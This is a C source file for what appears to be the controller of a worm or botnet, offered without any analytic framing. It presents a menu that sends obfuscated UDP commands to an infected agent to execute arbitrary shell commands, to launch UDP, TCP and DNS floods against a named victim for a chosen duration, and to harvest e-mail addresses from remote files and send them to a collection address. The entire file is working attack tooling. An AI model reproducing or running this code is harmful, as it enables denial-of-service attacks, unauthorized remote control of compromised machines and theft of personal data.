#include #include #include #include #include #include #include #include #include /* Where the worm is listening on (UDP port) */ #define WORM_PORT 4156 struct llheader { char type; /* 0: master->agent, 1: agent->master */ unsigned long checksum; /* Checksum of rest of UDP packet */ unsigned long id; }; struct header { char tag; int id; unsigned long len; unsigned long seq; }; struct sh_rec { struct header h; }; struct udp_rec { struct header h; unsigned long size; unsigned long target; unsigned short port; unsigned long secs; }; struct tcp_rec { struct header h; unsigned long target; unsigned short port; unsigned long secs; }; struct df_rec { struct header h; unsigned long target; unsigned long secs; }; struct escan_rec { struct header h; unsigned long ip; }; void init_agent(void); void run_command(void); void udp_flood(void); void tcp_flood(void); void dns_flood(void); void email_scan(void); void pdie(const char *); u_short in_cksum(u_short *addr, int len); unsigned long _encrypt(char *str, unsigned long len); int send_msg(struct in_addr dest, char *data, int len); struct command { char *cmd_descr; void (*cmd)(void); } commands[] = { {"Enter agent IP address", &init_agent}, {"Run a command on the agent", &run_command}, {"UDP flood", &udp_flood}, {"TCP flood", &tcp_flood}, {"DNS flood", &dns_flood}, {"Scan remote files for e-mail addresses", &email_scan} }; #define LAST_COMMAND (sizeof(commands)/sizeof(struct command)) struct in_addr agent_ip; unsigned int sseed=0; int main(int argc, char **argv) { int option; int i; struct hostent *agent; if (argc == 2) { if ( (agent = gethostbyname(argv[1])) == NULL) { fprintf(stderr, "Error resolving host name\n"); exit(1); } agent_ip.s_addr = *(unsigned *) agent->h_addr_list[0]; } for (;;) { if (agent_ip.s_addr == 0) printf("\nAgent address is not set.\n\n"); else printf("\nAgent address is %d.%d.%d.%d\n\n", ( (u_char *) &agent_ip.s_addr)[0], ( (u_char *) &agent_ip.s_addr)[1], ( (u_char *) &agent_ip.s_addr)[2], ( (u_char *) &agent_ip.s_addr)[3]); for (i = 0; i < LAST_COMMAND; i++) printf("[%d] %s\n", i, commands[i].cmd_descr); printf("[%d] Exit\n", i); do { printf("\nEnter option: "); scanf("%d", &option); } while (option > LAST_COMMAND); if (option == LAST_COMMAND) break; else if (option >=1 && option <= LAST_COMMAND - 1 && agent_ip.s_addr == 0) fprintf(stderr, "\nYou haven't set the agent's IP address!\n"); else commands[option].cmd(); } return 0; } /* Set address of agent */ void init_agent(void) { struct hostent *agent; char buffer[100]; printf("\nEnter agent IP address or host name: "); scanf("%s", buffer); if ( (agent = gethostbyname(buffer)) == NULL) { fprintf(stderr, "Error resolving host name\n"); return; } agent_ip.s_addr = *(unsigned *) agent->h_addr_list[0]; } /* Run command on agent */ void run_command(void) { struct sh_rec payload; int ch, len; char command[100]; char *buffer; printf("\nEnter command to execute at agent: "); for (ch = 'x'; ch != '\n' && ch != EOF;) ch = getchar(); fgets(command, sizeof(command), stdin); len = strlen(command); if (len > 0 && command[len - 1] == '\n') command[len - 1] = '\0'; _encrypt(command, strlen(command) ); payload.h.tag = 0x24; /* This is the command code for "execute command" */ payload.h.id = 0; payload.h.len = htonl(strlen(command) ); payload.h.seq = 0; if ( (buffer = malloc(sizeof(struct sh_rec) + strlen(command))) == NULL) pdie("Out of memory"); memcpy(buffer, &payload, sizeof(struct sh_rec) ); memcpy(buffer + sizeof(struct sh_rec), command, strlen(command) ); send_msg(agent_ip, buffer, sizeof(struct sh_rec) + strlen(command) ); free(buffer); } /* Request UDP flood */ void udp_flood(void) { struct udp_rec payload; struct hostent *victim; int len, ch; char hostname[100]; printf("\nSize of UDP packets (must be <= 9216): "); scanf("%ld", &payload.size); payload.size = htonl(payload.size); printf("Enter victim IP address or host name: "); for (ch = 'x'; ch != '\n' && ch != EOF;) ch = getchar(); fgets(hostname, sizeof(hostname), stdin); len = strlen(hostname); if (len > 0 && hostname[len - 1] == '\n') hostname[len - 1] = '\0'; if ( (victim = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Error resolving host name\n"); return; } payload.target = *(unsigned *) victim->h_addr_list[0]; printf("UDP port to attack (enter 0 for random port): "); scanf("%hd", &payload.port); payload.port = htons(payload.port); printf("Duration of the attack (in seconds): "); scanf("%ld", &payload.secs); payload.secs = htonl(payload.secs); payload.h.tag = 0x29; /* This is the command code for UDP flood */ payload.h.id = 0; payload.h.len = sizeof(struct udp_rec); payload.h.seq = 0; send_msg(agent_ip, (char *) &payload, sizeof(payload) ); } /* Request TCP flood */ void tcp_flood(void) { struct tcp_rec payload; struct hostent *victim; int len, ch; char hostname[100]; printf("\nEnter victim IP address or host name: "); for (ch = 'x'; ch != '\n' && ch != EOF;) ch = getchar(); fgets(hostname, sizeof(hostname), stdin); len = strlen(hostname); if (len > 0 && hostname[len - 1] == '\n') hostname[len - 1] = '\0'; if ( (victim = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Error resolving host name\n"); return; } payload.target = *(unsigned *) victim->h_addr_list[0]; printf("TCP port to attack (enter 0 for random port): "); scanf("%hd", &payload.port); payload.port = htons(payload.port); printf("Duration of the attack (in seconds): "); scanf("%ld", &payload.secs); payload.secs = htonl(payload.secs); payload.h.tag = 0x2a; /* This is the command code for TCP flood */ payload.h.id = 0; payload.h.len = sizeof(struct tcp_rec); payload.h.seq = 0; send_msg(agent_ip, (char *) &payload, sizeof(payload) ); } /* Request DNS flood */ void dns_flood(void) { struct df_rec payload; struct hostent *victim; int len, ch; char hostname[100]; char domain[100]; char *buffer; printf("\nEnter victim IP address or host name: "); for (ch = 'x'; ch != '\n' && ch != EOF;) ch = getchar(); fgets(hostname, sizeof(hostname), stdin); len = strlen(hostname); if (len > 0 && hostname[len - 1] == '\n') hostname[len - 1] = '\0'; if ( (victim = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Error resolving host name\n"); return; } payload.target = *(unsigned *) victim->h_addr_list[0]; printf("Duration of the attack (in seconds): "); scanf("%ld", &payload.secs); payload.secs = htonl(payload.secs); printf("Domain name to be used in the attack: "); for (ch = 'x'; ch != '\n' && ch != EOF;) ch = getchar(); fgets(domain, sizeof(domain), stdin); len = strlen(domain); if (len > 0 && domain[len - 1] == '\n') domain[len - 1] = '\0'; _encrypt(domain, strlen(domain) ); payload.h.tag = 0x2c; /* This is the command code for DNS flood */ payload.h.id = 0; payload.h.len = htonl(strlen(domain) ); payload.h.seq = 0; if ( (buffer = malloc(sizeof(struct df_rec) + strlen(domain))) == NULL) pdie("Out of memory"); memcpy(buffer, &payload, sizeof(struct df_rec) ); memcpy(buffer + sizeof(struct df_rec), domain, strlen(domain) ); send_msg(agent_ip, buffer, sizeof(struct df_rec) + strlen(domain) ); free(buffer); } /* Scan remote files for e-mail addresses */ void email_scan(void) { struct escan_rec payload; struct hostent *target; int len, ch; char hostname[100]; printf("\nIP address where e-mails should be sent to: "); for (ch = 'x'; ch != '\n' && ch != EOF;) ch = getchar(); fgets(hostname, sizeof(hostname), stdin); len = strlen(hostname); if (len > 0 && hostname[len - 1] == '\n') hostname[len - 1] = '\0'; if ( (target = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Error resolving host name\n"); return; } payload.ip = *(unsigned *) target->h_addr_list[0]; payload.h.tag = 0x2d; /* This is the command code for e-mail scan */ payload.h.id = 0; payload.h.len = sizeof(struct escan_rec); payload.h.seq = 0; send_msg(agent_ip, (char *) &payload, sizeof(payload) ); } int send_msg(struct in_addr dest, char *data, int len) { int sockfd, sentbytes; struct sockaddr_in sockaddr; struct llheader ll; char *buffer; if ( (buffer = malloc(sizeof(struct llheader) + len)) == NULL) pdie("Out of memory"); if ( (sockfd = socket(PF_INET, SOCK_DGRAM, 0) ) == -1) pdie("Error opening socket"); /* Prepare sockaddr_in */ sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(WORM_PORT); sockaddr.sin_addr.s_addr = dest.s_addr; ll.type = 0; ll.checksum = in_cksum( (unsigned short *) data, len); ll.checksum = ((ll.checksum & 0x0ffff) << 16) + (ll.checksum >> 16); ll.id = 0; memcpy(buffer, &ll, sizeof(struct llheader) ); memcpy(buffer + sizeof(struct llheader), data, len); sentbytes = sendto(sockfd, buffer, sizeof(struct llheader) + len, 0, (struct sockaddr *) &sockaddr, sizeof(sockaddr) ); if (sentbytes == -1) pdie("Could not send data"); free(buffer); close(sockfd); return 0; } /********************************************************************** * pdie --- Call perror() to figure out what's going on and die. **********************************************************************/ void pdie(const char *mesg) { perror(mesg); exit(1); } u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer =0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } void gsrand(unsigned long s) { sseed=s; } unsigned long grand() { sseed=((sseed*965764979)%65535)/2; return sseed; } unsigned long _encrypt(char *str, unsigned long len) { unsigned long pos=0, seed[4] = { 0x78912389, 0x094e7bc43, 0xba5de30b, 0x7bc54da7 }; gsrand(((seed[0]+seed[1])*seed[2])^seed[3]); while(1) { gsrand(seed[pos%4]+grand()+pos); str[pos] += grand(); pos++; if (pos >= len) break; } return pos; }